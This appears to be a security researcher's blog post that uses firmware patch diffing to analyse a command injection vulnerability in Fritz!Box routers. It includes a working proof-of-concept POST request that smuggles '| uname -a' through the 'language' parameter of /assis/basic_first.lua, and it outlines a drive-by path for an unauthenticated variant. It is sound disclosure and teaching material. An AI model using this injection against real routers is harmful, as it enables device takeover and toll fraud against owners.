The below post was originally written on February 9th as a little educational exercise & follow-up to my BinDiff post. (This research was actually triggered by a relative asking about that strange Fritz!Box vulnerability he heard about on the radio). Once we realized the full potential of the bug we decided against publishing the post and contacted several parties instead. Amongst others this contributed to the German BSI press release. Given the cat is out of the bag now anyway, we see no reason to hold it back. We will further take this as an opportunity to lay out our basic vulnerability disclosure principles in a future post. This topic will also be discussed in the panel “Ethics of Security Work & Research” at Troopers
Fritz!Box is series of DSL and WLAN routers produced by AVM. They are extremely popular in Germany and are the uncontested market leader for private DSL customers. Recently, a significant number of Fritz!Box owners became victim of an attack that resulted in calls to expensive international numbers. The newspaper “Der Westen” reported about a case where phone calls valued over 4200€ were initiated from a compromised Fritz!Box. Few days later AVM published a security update for a large number of Fritz!Box models and urged customers to apply the patch as soon as possible.
However, no further details about the vulnerability were published. This blog post describes our analysis of the vulnerability that we performed directly after the first updates were released.
This post can be considered a follow-up to my last year post about binary diffing. If you are interested in a more formal introduction to the technique of patch analysis, you read that post first. While the later parts of this analysis require at least cursory knowledge of MIPS assembly, we hope to show that modern Linux based embedded devices are no black boxes and can be analyzed relatively easily with a standard tool chain.
In order to assess the impact of the aforementioned vulnerability we use patch diffing. Of course in this case we do not work with a normal executable, but instead with a whole firmware image. So the first step in our analysis is extracting an unpatched and a patched version of the Fritz!Box firmware.
To do this we first have to get our hands on a vulnerable and a patched version of the Fritz!Box firmware. We decided to take a look at the firmware of the popular 7360 model and downloaded the latest version 124.06.03 (with security patch) from the official AVM FTP server. This was compared to an older version:
-rwx------ 1 felix felix 16936960 Feb 8 22:34 FRITZ.Box_Fon_WLAN_7360.124.06.01.image*
-rwx------ 1 felix felix 16936960 Feb 8 21:31 FRITZ.Box_Fon_WLAN_7360.124.06.03.image*
Both files have the same size, which is promising because it indicates that only small changes were performed.
When analyzing an unknown firmware image we would normally have to use a tool like binwalk to automatically identify and extract known file types and try to reverse the image format. Thanks to the popularity of Fritz!Box many people already performed this work. Freetz is a toolkit for the extension and modification of Fritz!Box images. It includes tools which allow the extraction of the included squashfs into a standard directory structure
felix@spoon ~/freetz-1.2 % ./fwmod -u -d new ~/FRITZ.Box_Fon_WLAN_7360.124.06.03.image STEP 1: UNPACK unpacking firmware image splitting kernel image unpacking filesystem image Reading a different endian SQUASHFS filesystem on .... unpacking var.tar done.
When looking at the file system we can quickly identify the familiar folder structure of a Linux system. Looking at the architecture of the included binary files shows that the Fritz!Box is based on MIPS – this makes the later parts of the analysis a bit harder, but also more interesting ;).
A first superficial analysis with standard Linux utilities shows a very large number of changed binaries, but almost no differences in config files or included scripts expect for the ones including a version number. The high number of changed binaries is an expected result, compiling the same source file with a different (or even the same) compiler version often produces a semantically equivalent but syntactically different output file. We know that the vulnerability can be triggered over the web interface so we start looking at executables that are involved in handling web requests. An obvious starting point is the “/usr/www/cgi-bin/” directory. We can see that most of the files in this directory still have the same size, but the “lucagi” binary is now larger than before:
-rwxrwxrwx 1 felix felix 50368 Dez 10 16:03 luacgi
-rwxrwxrwx 1 felix felix 50648 Feb 7 21:41 luacgi
In order to understand the purpose of this binary some background on the Fritz!Box software stack is needed. Even though the base system is built on Linux, the webserver and interface have apparently been developed by AVM from scratch. In recent versions of Fritz!OS (the operating system running on Fritz!Box devices) the complete web interface is implemented using Lua a scripting language optimized for easy embedding. When a user accesses a Lua page via the web interface, the request is routed through the luacgi binary which provides a number of natively embedded library functions and evaluates the Lua script. Of course this makes luacgi a really interesting target for attackers.
To identify differences in the two versions of the binary, we load both versions into IDA Pro and compare them with the amazing BinDiff plugin:
BinDiff shows 4 newly added functions that seem to be responsible for some kind of IPC mechanism. When looking at the matched functions, we can see that most of them are completely identical and only a single function contains bigger modifications:
Comparing the flow graph of the function shows multiple added basic blocks (colored in red) as well as several modified blocks (yellow):
The newly added checks at the top seem to validate the arguments passed into the function. Even without a deep understanding of Lua internals or MIPS assembly we can see that an error message complaining about an invalid language is raised when the checks fail:
The end of the function is even more interesting. The newly added basic blocks use the aforementioned IPC functions, but the unpatched version instead uses “system” the standard library function for executing OS commands:
Using “system” safely with user input is quite hard, and the added checks at the beginning of the function strongly suggest that the unpatched version does not include sufficient validation for the past parameters. There is still one question remaining: What’s the purpose of the function and how can we reach it via the web interface?
Analyzing the cross references of the function in IDA shows that it is only referenced in a single place, the do_display_page function shown below:
Without analyzing the LuaScript_MakeFunction function in detail, we can be pretty sure that it is responsible for registering native functions to the Lua interpreter. The string “set_temporary_language” as well as the added error messages in our target function seem to indicate that the analyzed function can be called from Luascript code with the name “set_temporary_language” and is responsible for some kind of language change. A quick grep for the function name inside the Fritz!Box web directory gives us a hit in the file “assis/basic_first.lua”:
local currlang = box.post.language or "" if currlang ~= "" then box.set_temporary_language(currlang)
This indicates that we can reach the vulnerable code path by requesting the URL /assis/basic_first.lua and passing a command injection string as a POST parameter named “language”.
By analyzing the rest of the script and the locations it’s used in we can identify the rest of the parameters needed for a valid request. The real purpose of the script seems to be to switch between different languages for Fritz!Box devices with multi language support. Because our test device only includes German language support the script is dead code, but still included.
Command Injection Proof of Concept
The paragraph below shows a POST request that executes “uname -a” on a vulnerable Fritz!Box system, as well as the (mangled) server response with the output of our command. Please note that this POC still requires a valid SessionID that you can only get with a successful login.
POST /assis/basic_first.lua HTTP/1.1 Host: fritz.box Content-Length: 125 Content-Type: application/x-www-form-urlencoded sid=8a280a947be54bb2&prevdlg=dlg_country&needed=language%2Ccountry%2Cannex&language=de| uname -a&country=049&annex=B&forward= HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=60, max=300 Linux fritz.fonwlan.box 18.104.22.168 #1 SMP Wed Dec 4 12: 07:49 CET 2013 mips GNU/Linux HTTP/1.0 303 See Other Content-Length: 0
While the described exploitation path is sufficient to understand and trigger the command injection vulnerability, it does not seem to be the way the attack was exploited in the wild. Because basic_first.lua still requires authentication an attacker can only exploit this bug if she has valid Fritz!Box credentials which makes the bug relatively uncritical.
However, there is a second quite similar bug, which does not require authentication and can be triggered even more easily.
No Authentication required!
Due to the high impact of this exploitation path, we decided against releasing a full POC for the unprivileged command injection vulnerability. However, the underlying bug is almost identical besides affecting a different executable.
Impact and Conclusion
The described bugs can be triggered by anybody with (unauthenticated) access to the Fritz!Box web interface. The reported attacks in the wild seem to be restricted to systems which open their 443 port on the external interface. However, the more critical unauthenticated vulnerability can also be triggered in a drive-by-attack by provoking the victim’s browser to access a payload URL as described above.
Customers with affected devices should install the official patch as soon as possible, even if they do not use any of the remote administration services.
The reported in the wild attacks demonstrate that embedded devices are becoming an interesting target for criminal attackers. Because DSL routers with phone functions have direct access to billing relevant functionality, they offer an interesting target for financially motivated attackers.